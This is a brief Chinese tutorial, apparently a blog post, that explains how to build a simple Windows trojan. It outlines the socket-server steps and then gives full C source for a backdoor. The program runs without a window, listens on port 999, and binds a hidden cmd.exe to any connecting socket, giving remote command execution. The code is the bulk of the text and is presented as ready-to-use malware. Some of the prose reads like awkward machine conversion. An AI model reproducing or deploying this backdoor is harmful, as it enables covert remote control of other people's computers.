实现一个简单的木马,一般须要client和服务端。为了便于实现,就用Windows自带的Telnet软件远程连接,服务端通过监听某个port提供服务。类似于Telnet服务的后台程序。其服务端编程的基本原理例如以下:
1)打开一通信通道(绑定某个port)并告知本地主机,它在某一个地址上接收客户请求。
利用Socket和bind函数实现。
2)等待客户请求到达该port。利用listen函数实现。
3)接收到反复服务请求,处理该请求并发送应答信号。
利用accept函数实现。
4)返回第二步,接收还有一客户请求。
5)关闭连接。
利用closesock函数实现。
使用到的函数顺序例如以下:
socket()—>bind()—>listen—>accept()—>closesock()
实现代码例如以下:
#pragma comment(lib,"ws2_32.lib") #pragma comment(linker,"/subsystem:"windows" /entry:"mainCRTStartup"") #include <winsock2.h> #include <windows.h> #define MasterPort 999 //定义监听port int main() { WSADATA WSADa; sockaddr_in SockAddrin; SOCKET CSocket, SSocket; int AddrSize; PROCESS_INFORMATION Processinfo; STARTUPINFO Startupinfo; char szCMDPath[255]; //配内存资源,初始化数据 ZeroMemory(&Processinfo, sizeof(PROCESS_INFORMATION)); ZeroMemory(&Startupinfo, sizeof(STARTUPINFO)); ZeroMemory(&WSADa, sizeof(WSADATA)); //获取CMD路径 GetEnvironmentVariable("COMSPEC", szCMDPath, sizeof(szCMDPath)); //载入ws2_32.dll WSAStartup(0x202,&WSADa); //设置本地信息和绑定协议,建立socket SockAddrin.sin_family = AF_INET; SockAddrin.sin_addr.s_addr = INADDR_ANY; SockAddrin.sin_port = htons(MasterPort); CSocket = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0); //设置绑定断port999 bind(CSocket,(sockaddr*)&SockAddrin, sizeof(SockAddrin)); //设置server监听port listen(CSocket, 1); AddrSize = sizeof(SockAddrin); //開始连接远程server。并配置隐藏窗体结构体 SSocket = accept(CSocket, (sockaddr*)&SockAddrin, &AddrSize); Startupinfo.cb = sizeof(STARTUPINFO); Startupinfo.wShowWindow = SW_HIDE; Startupinfo.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW; Startupinfo.hStdInput = (HANDLE)SSocket; Startupinfo.hStdOutput = (HANDLE)SSocket; Startupinfo.hStdError = (HANDLE)SSocket; //创建匿名管道 CreateProcess(NULL, szCMDPath, NULL, NULL, TRUE, 0, NULL, NULL, &Startupinfo, &Processinfo); WaitForSingleObject(Processinfo.hProcess, INFINITE); CloseHandle(Processinfo.hProcess); CloseHandle(Processinfo.hThread); //关闭进程句柄 closesocket(CSocket); closesocket(SSocket); WSACleanup(); return 0; }